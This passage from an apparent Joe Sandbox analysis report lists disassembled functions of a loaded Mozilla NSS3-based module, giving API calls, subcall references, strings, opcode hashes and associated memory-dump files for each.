Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID: S&]l
API String ID: 704537481-2402110312
Opcode ID: a6cba1a24b24e361f53d78b27b7c210c04b79a6198e8d4fd78f8eef1028bcdd4
Instruction ID: b9938e3af315b11157c38985deb67715d8deab8fa128ecf967932ed52d8acd87
Opcode Fuzzy Hash: a6cba1a24b24e361f53d78b27b7c210c04b79a6198e8d4fd78f8eef1028bcdd4
Instruction Fuzzy Hash: 9F21F775A04316ABDB00DE2DDC84A9B3769EF85378F160525FD0887701E730F95487EA

Function 6C5FCEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C5FCD93,?), ref: 6C5FCEEE

Part of subcall function 6C5F14C0: TlsGetValue.KERNEL32 ref: 6C5F14E0
Part of subcall function 6C5F14C0: EnterCriticalSection.KERNEL32 ref: 6C5F14F5
Part of subcall function 6C5F14C0: PR_Unlock.NSS3 ref: 6C5F150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C5FCD93,?), ref: 6C5FCEFC

Part of subcall function 6C5F10C0: TlsGetValue.KERNEL32(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F10F3
Part of subcall function 6C5F10C0: EnterCriticalSection.KERNEL32(?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F110C
Part of subcall function 6C5F10C0: PL_ArenaAllocate.NSS3(?,?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F1141
Part of subcall function 6C5F10C0: PR_Unlock.NSS3(?,?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F1182
Part of subcall function 6C5F10C0: TlsGetValue.KERNEL32(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C5FCD93,?), ref: 6C5FCF0B

Part of subcall function 6C5F0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5F08B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C5FCD93,?), ref: 6C5FCF1D

Part of subcall function 6C5EFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C5E8D2D,?,00000000,?), ref: 6C5EFB85
Part of subcall function 6C5EFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C5EFBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C5FCD93,?), ref: 6C5FCF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C5FCD93,?), ref: 6C5FCF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6C5FCD93,?,?,?,?,?,?,?,?,?,?,?,6C5FCD93,?), ref: 6C5FCF78

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 5524bb20cb855957adfd95dfeeaa93fa16b2a013d305bb870a7b7381dd5872d1
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: C811D5B5E002049BF718AA667C41BABB6EC9F8814DF044039EC29D7741FB61ED09CAB1

Function 6C5A8C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C5A8C1B
EnterCriticalSection.KERNEL32 ref: 6C5A8C34
PL_ArenaAllocate.NSS3 ref: 6C5A8C65
PR_Unlock.NSS3 ref: 6C5A8C9C
PR_Unlock.NSS3 ref: 6C5A8CB6

Part of subcall function 6C63DD70: TlsGetValue.KERNEL32 ref: 6C63DD8C
Part of subcall function 6C63DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C63DDB4

Strings

KRAM, xrefs: 6C5A8C8F

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: af90408ed4bf3161206a34127a4f53591fb31f1246c00b4eb1a74608d03cabf0
Instruction ID: 9db7d727e3355a7a61aa0e40d38c7e1469c532b558bbdee8aeb76301288006a1
Opcode Fuzzy Hash: af90408ed4bf3161206a34127a4f53591fb31f1246c00b4eb1a74608d03cabf0
Instruction Fuzzy Hash: 332180B16056119FD700AFBAC89455DBBF4FF55304F05896AD8888B701EB31D886CF86

Function 6C5B8E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6C5D2E62,?,?,?,?,?,?,?,00000000,?,?,?,6C5A4F1C), ref: 6C5B8EA2

Part of subcall function 6C5DF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C5DF854
Part of subcall function 6C5DF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C5DF868
Part of subcall function 6C5DF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C5DF882
Part of subcall function 6C5DF820: free.MOZGLUE(04C483FF,?,?), ref: 6C5DF889
Part of subcall function 6C5DF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C5DF8A4
Part of subcall function 6C5DF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C5DF8AB
Part of subcall function 6C5DF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C5DF8C9
Part of subcall function 6C5DF820: free.MOZGLUE(280F10EC,?,?), ref: 6C5DF8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C5D2E62,?,?,?,?,?,?,?,00000000,?,?,?,6C5A4F1C), ref: 6C5B8EC3
TlsGetValue.KERNEL32(?,?,?,6C5D2E62,?,?,?,?,?,?,?,00000000,?,?,?,6C5A4F1C), ref: 6C5B8EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C5D2E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6C5B8EF1
PR_Unlock.NSS3 ref: 6C5B8F20

Strings

b.]l, xrefs: 6C5B8E96, 6C5B8F25

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.]l
API String ID: 1978757487-3383330068
Opcode ID: 7241a0102344b535c7df2abfa161e9ae8ff4f6c6f09602db9febeaeab377854c
Instruction ID: cb615f33ff9b97d2c4fea5fcc749f840633afa19a978aa926a5850d20d312856
Opcode Fuzzy Hash: 7241a0102344b535c7df2abfa161e9ae8ff4f6c6f09602db9febeaeab377854c
Instruction Fuzzy Hash: C7218D70909706AFD700AF29D8841A9BBF0FF48318F05556EEC98ABB40D730E854CBC6

Function 6C623E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6C625B40: PR_GetIdentitiesLayer.NSS3 ref: 6C625B56

PR_EnterMonitor.NSS3(?), ref: 6C623E45

Part of subcall function 6C659090: TlsGetValue.KERNEL32 ref: 6C6590AB
Part of subcall function 6C659090: TlsGetValue.KERNEL32 ref: 6C6590C9
Part of subcall function 6C659090: EnterCriticalSection.KERNEL32 ref: 6C6590E5
Part of subcall function 6C659090: TlsGetValue.KERNEL32 ref: 6C659116
Part of subcall function 6C659090: LeaveCriticalSection.KERNEL32 ref: 6C65913F

PR_EnterMonitor.NSS3(?), ref: 6C623E5C
PR_EnterMonitor.NSS3(?), ref: 6C623E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C623EA6

Part of subcall function 6C63C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C63C2BF

PR_ExitMonitor.NSS3(?), ref: 6C623EC0
PR_ExitMonitor.NSS3(?), ref: 6C623ED7
PR_ExitMonitor.NSS3(?), ref: 6C623EEE

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: a47f0fcb1bd6aa642b0cd68421ded9eda730b2d8f583f99ccb5c069fc39d8209
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: 8611A8B1510600ABD7315E29FC02BD777A59F4131CF504835E69987A20E73AE82ECF4E

Function 6C6A2C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C6A2CA0
PR_ExitMonitor.NSS3 ref: 6C6A2CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C6A2CD1
strdup.MOZGLUE(?), ref: 6C6A2CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C6A2D27

Strings

Loaded library %s (static lib), xrefs: 6C6A2D22

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: c73cf0907aa0492b63bb8650567d02fb0603da1d920d5da813920ad0a97f51ae
Instruction ID: 3fa44985bae9c94deb9b27b210763e4091a3569494789d44eb72d92cb5671b86
Opcode Fuzzy Hash: c73cf0907aa0492b63bb8650567d02fb0603da1d920d5da813920ad0a97f51ae
Instruction Fuzzy Hash: 5C1126B1641250AFEB008F5BE884A6A77B5AB4634CF14802DD81E87B42D731EC09CBAD

Function 6C59BDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C59BDCA

Part of subcall function 6C5F0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5987ED,00000800,6C58EF74,00000000), ref: 6C5F1000
Part of subcall function 6C5F0FF0: PR_NewLock.NSS3(?,00000800,6C58EF74,00000000), ref: 6C5F1016
Part of subcall function 6C5F0FF0: PL_InitArenaPool.NSS3(00000000,security,6C5987ED,00000008,?,00000800,6C58EF74,00000000), ref: 6C5F102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C59BDDB

Part of subcall function 6C5F10C0: TlsGetValue.KERNEL32(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F10F3
Part of subcall function 6C5F10C0: EnterCriticalSection.KERNEL32(?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F110C
Part of subcall function 6C5F10C0: PL_ArenaAllocate.NSS3(?,?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F1141
Part of subcall function 6C5F10C0: PR_Unlock.NSS3(?,?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F1182
Part of subcall function 6C5F10C0: TlsGetValue.KERNEL32(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C59BDEC

Part of subcall function 6C5F10C0: PL_ArenaAllocate.NSS3(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6C59BE03

Part of subcall function 6C5EFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C5E8D2D,?,00000000,?), ref: 6C5EFB85
Part of subcall function 6C5EFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C5EFBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C59BE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C59BE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C59BE3B

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: 0d419dee2d6b24eaecd4778dce90f7e17130959f1b065d92b1180bd71da26f95
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: 03014EB9A40251B7F62032667C01F67368C4FD138DF140130FE199ABC2FB51D91986BA

Function 6C5F0FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5987ED,00000800,6C58EF74,00000000), ref: 6C5F1000
PR_NewLock.NSS3(?,00000800,6C58EF74,00000000), ref: 6C5F1016

Part of subcall function 6C6598D0: calloc.MOZGLUE(00000001,00000084,6C580936,00000001,?,6C58102C), ref: 6C6598E5

PL_InitArenaPool.NSS3(00000000,security,6C5987ED,00000008,?,00000800,6C58EF74,00000000), ref: 6C5F102B
TlsGetValue.KERNEL32(00000000,?,?,6C5987ED,00000800,6C58EF74,00000000), ref: 6C5F1044
free.MOZGLUE(00000000,?,00000800,6C58EF74,00000000), ref: 6C5F1064

Strings

security, xrefs: 6C5F1025

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: 69bc3100936430260925bbf58f59602346043a72dd601192a4f214a8c25c6a8c
Instruction ID: 92d1e850ce8a403c1b4310dffe4857ae2abf5ccf3d3e523bc1b883b8abdd3ec5
Opcode Fuzzy Hash: 69bc3100936430260925bbf58f59602346043a72dd601192a4f214a8c25c6a8c
Instruction Fuzzy Hash: DF01ABB16402609BE7206F3E9C04B473A7CBF46749F000516E82887A51EB70C506DFD6

Function 6C621C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C621C74

Part of subcall function 6C63C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C63C2BF

DeleteCriticalSection.KERNEL32(?), ref: 6C621C92
free.MOZGLUE(?), ref: 6C621C99
DeleteCriticalSection.KERNEL32(?), ref: 6C621CCB
free.MOZGLUE(?), ref: 6C621CD2

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: f74b66bb4ee5ad2d7b8fcfc3312be017ef0774050e3b6e9fd1d289a80b71461f
Instruction ID: 88504f407abbe71ecb04dab639a0a94b6ec358044b05df2da5045782a9be4663
Opcode Fuzzy Hash: f74b66bb4ee5ad2d7b8fcfc3312be017ef0774050e3b6e9fd1d289a80b71461f
Instruction Fuzzy Hash: EE01D6B5F5E2706FEF10AFA6AC4DB853BB4670B308F100125E91AA2A40D73A95148F9D

Function 6C632E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C633046

Part of subcall function 6C61EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C61EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C607FFB), ref: 6C63312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C633154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C632E8B

Part of subcall function 6C63C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C63C2BF

Part of subcall function 6C61F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C609BFF,?,00000000,00000000), ref: 6C61F134

memcpy.VCRUNTIME140(8B3C75C0,?,6C607FFA), ref: 6C632EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C63317B

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: f0b3aaa2928dcd7214c5dfc6e7c0483df53c7f36e4523f89afdab2b72db3d947
Instruction ID: 995611c431c40b332595a1e32b157eacd4983ece578159612ad893de2ff916e1
Opcode Fuzzy Hash: f0b3aaa2928dcd7214c5dfc6e7c0483df53c7f36e4523f89afdab2b72db3d947
Instruction Fuzzy Hash: 74A1BD75A002289FDB24CF54CC84BEAB7B5EF49308F048199E94D6B781E731AD85CFA5

Function 6C5FED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C5FED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C5FEDCE

Part of subcall function 6C5F0BE0: malloc.MOZGLUE(6C5E8D2D,?,00000000,?), ref: 6C5F0BF8
Part of subcall function 6C5F0BE0: TlsGetValue.KERNEL32(6C5E8D2D,?,00000000,?), ref: 6C5F0C15

free.MOZGLUE(00000000,?,?,?,?,6C5FB04F), ref: 6C5FEE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C5FEECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C5FEEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C5FEEFB

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: b4d68ce00924853878cbc45b1183eb86d1e7459915210416ba19cd5c42c3ab23
Instruction ID: be4ab516b39ef1c449cf8fa47b1d923fb2462d26d457e52dc169088cf5f0f111
Opcode Fuzzy Hash: b4d68ce00924853878cbc45b1183eb86d1e7459915210416ba19cd5c42c3ab23
Instruction Fuzzy Hash: E3816BB5A002059FEB18CF59DC80AAB77F5BF89308F14442CE9259BB51DB71E816CFA1

Function 6C5FCCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5FC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C5FDAE2,?), ref: 6C5FC6C2

PR_Now.NSS3 ref: 6C5FCD35

Part of subcall function 6C659DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C6A0A27), ref: 6C659DC6
Part of subcall function 6C659DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C6A0A27), ref: 6C659DD1
Part of subcall function 6C659DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C659DED

Part of subcall function 6C5E6C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C591C6F,00000000,00000004,?,?), ref: 6C5E6C3F

PR_GetCurrentThread.NSS3 ref: 6C5FCD54

Part of subcall function 6C659BF0: TlsGetValue.KERNEL32(?,?,?,6C6A0A75), ref: 6C659C07

Part of subcall function 6C5E7260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C591CCC,00000000,00000000,?,?), ref: 6C5E729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C5FCD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C5FCE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C5FCE2C

Part of subcall function 6C5F10C0: TlsGetValue.KERNEL32(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F10F3
Part of subcall function 6C5F10C0: EnterCriticalSection.KERNEL32(?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F110C
Part of subcall function 6C5F10C0: PL_ArenaAllocate.NSS3(?,?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F1141
Part of subcall function 6C5F10C0: PR_Unlock.NSS3(?,?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F1182
Part of subcall function 6C5F10C0: TlsGetValue.KERNEL32(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C5FCE40

Part of subcall function 6C5F14C0: TlsGetValue.KERNEL32 ref: 6C5F14E0
Part of subcall function 6C5F14C0: EnterCriticalSection.KERNEL32 ref: 6C5F14F5
Part of subcall function 6C5F14C0: PR_Unlock.NSS3 ref: 6C5F150D

Part of subcall function 6C5FCEE0: PORT_ArenaMark_Util.NSS3(?,6C5FCD93,?), ref: 6C5FCEEE
Part of subcall function 6C5FCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C5FCD93,?), ref: 6C5FCEFC
